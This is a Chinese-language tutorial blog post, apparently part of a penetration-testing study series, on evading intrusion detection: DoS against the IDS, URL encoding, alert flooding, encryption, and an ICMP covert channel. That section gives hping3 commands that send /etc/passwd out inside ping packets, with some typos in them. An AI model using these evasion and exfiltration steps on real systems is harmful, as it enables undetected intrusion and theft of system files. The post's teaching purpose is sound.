渗透测试学习之应对安防和检测系统三

规避IDS

作为一个渗透测试者,必须弄清楚如何通过IDS。幸运的是,有很多种可选方法,下面将介绍几种。

当工作在有IDS的系统时,一种避免检测的有效方法是采用对抗或规避检测的技术。当IDS丢弃了给定主机可以接受的数据包时,就会发生规避攻击。如果巧妙而谨慎的执行规避攻击,就可以攻击IDS后面的主机,而不会使IDS发现,或至少无法及时发现。

规避攻击具有高度技巧性,但是在欺骗IDS方面很有效。这种类型的攻击可以通过以各种方式改变流量来完成,例如在字节级别修改信息,从而去除或丢弃实际上会提示或警告IDS的那部分信息。通过IDS的另一种方式是利用IDS可能无法处理的协议中的漏洞或脆弱性。其例子之一是使用ICMP数据包携带被称为ping的消息。由于ping是网络活动的正常组成部分,IDS不会立即将其标记为恶意的,并且很可能会让他们通过。

以IDS为目标

另一种绕过IDS的方法是对IDS进行拒绝服务攻击。通过消重要资源(如内存和处理器),可用于检测可能是实际攻击的流量的资源将减少。这样,不仅消耗了重要的资源,而且还可以将实际的攻击隐藏在冲击IDS的海量流量信息中。

另外,如果针对IDS进行了DoS攻击,就会发生有趣的事情:IDS工作不正常或者根本不起作用。要理解这一点,可设想IDS的功能,以及实现该功能需要多少资源。IDS需要嗅探流量并将流量与规则进行比较,执行该流程需要大量资源。如果这些资源被另一个事件所消耗,那么将起到改变IDS行为的效果。

当遭遇足够大的流量冲击时,某些IDS可能会失效,此时他们会进入一个开放的状态。这意味着,当因故障进入开放状态时,IDS将不再执行其原定的功能。要使IDS脱离此状态,可能需要重置IDS,或许他也可能会在攻击停止后恢复正常工作。

混淆

由于IDS依赖于能够分析干扰性的流量,因此模糊(obscuring)或者混淆(obfuscating)可能是一种有效的规避技术。这种技术依赖于以一种IDS不能“领悟”或“理解”,但目标可以“领悟”或“理解”的方式操纵信息。该操作可以通过手动操作代码或通过使用混淆器来实现。

使用URL混淆是其中一例。例如,设想以下URL(这是一个虚拟的URL,但它显示了攻击者可能用以绕过检测的方法):

www.wiley-test.com/cgi-bin/encode.c...

如果使用在线编码器处理该URL,编码器会将其从当前格式转换为如下的十六进制格式:

http%3A%2F%2Fwww.wiley-test.com%2Fcgi-bin%2Fencode.cgi

虽然此URL仍然可读,但一些NIDS可能无法转换十六进制代码,从而错过了可能本质上恶意的内容。这意味着NIDS可能“在眼皮底下”错过了一个字面上“正常”的恶意内容,让它未受任何之质疑的通过。

利用隐蔽通道

隐蔽通道(covert channel)是一种带外传输的方式。这些通道使用系统的原始设计者无意或设计外的方法和机制,因此通常不受监控。

使用隐蔽通道的一种方式是使用隐写术(steganography)将信息隐藏在另一个看似无害的信息中,例如图像或者其他数据。隐写术固然有趣,在此介绍另一种方式,使用ICMP和hping3。

使用hping3创建数据包
hping3是一个用于创建自定义数据包、远行自定义扫描和执行网络诊断的实用程序。虽然你可能已熟悉使用ping和其他网络程序,但可能还从未使用它们传输过文件。下面介绍hping3如何做到这一点。
首先,在接收端系统上运行以下命令:

hping3 -1 <ip address> -9 signature -I

该命令告诉hping,在特定的IP地址上发送一个ICMP数据包(-1)。使用HPING3监听模式选项,hping3会等待一个包含signature(签名信息)的数据包,并转储从签名尾到数据包尾的信息。例如,如果hping3 -listen TEST接收到一个包含234-09sd11kj$45-TESThello_world的数据包,它将显示hello_ world。最后,-I标志设定bping3在监听某个特定的接口上,对本例而言是eth0。
以下则是发送部分

hpina3 -1 -e signature -E /etc/
passwd -d 2000

在第二个例子中,有两个标志(-E)和(-d)是不同的。一E告诉hping获取指定文件的内容,并使用它们填充数据包。-d选项设置发送数据包的大小。
在发出此命令后,将使用ICMP传输该文件。这种方法具备使用ping(这是网络上的常见事件)来承载隐藏的有效载荷的优点。如果谨慎地操作,可能很难甚至无法对其进行检测。

狼来了

你是否听说过在停车场或者家附近的汽车报警器被触发,发出奇怪而疯狂的噪音?这些警报的目的是,在有人试图盗取车辆时,引起对该车的注意。但实际上,你曾见过有多少人在意该警报?如果你的经历和笔者一样,那么答案应该是:不多。如果IDS以同样的频率,过于频繁地发出警报,则很容易导致系统所有者感到厌烦,并不再重视,这意味着攻击被系统管理员捕捉到的概率很低。

攻击者可以针对IDS进行实际攻击,使其对该活动作出反应并提醒系统所有者。如果反复进行该操作,系统所有者将最终看到了充满了“正在发生攻击”信息的日志文件,但没有其他证据表明存在攻击。最终,系统所有者可能会开始忽视这些警告,或者认为是误报,并变得懈于观察。这样,攻击者就可以无障碍的打击他们的实际目标。

通过加密进行规避

前文介绍过的一些技术在此也值得重提:加密。在实践中,一些IDS实际上无法处理加密的流量,因此会放其通过。事实上,加密是在所有的规避方法中最有效的一个。

本作品采用《CC 协议》,转载必须注明作者和本文链接
给我个接口,我能连通一个世界!
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!

讨论应以学习和精进为目的。请勿发布不友善或者负能量的内容,与人为善,比聪明更重要!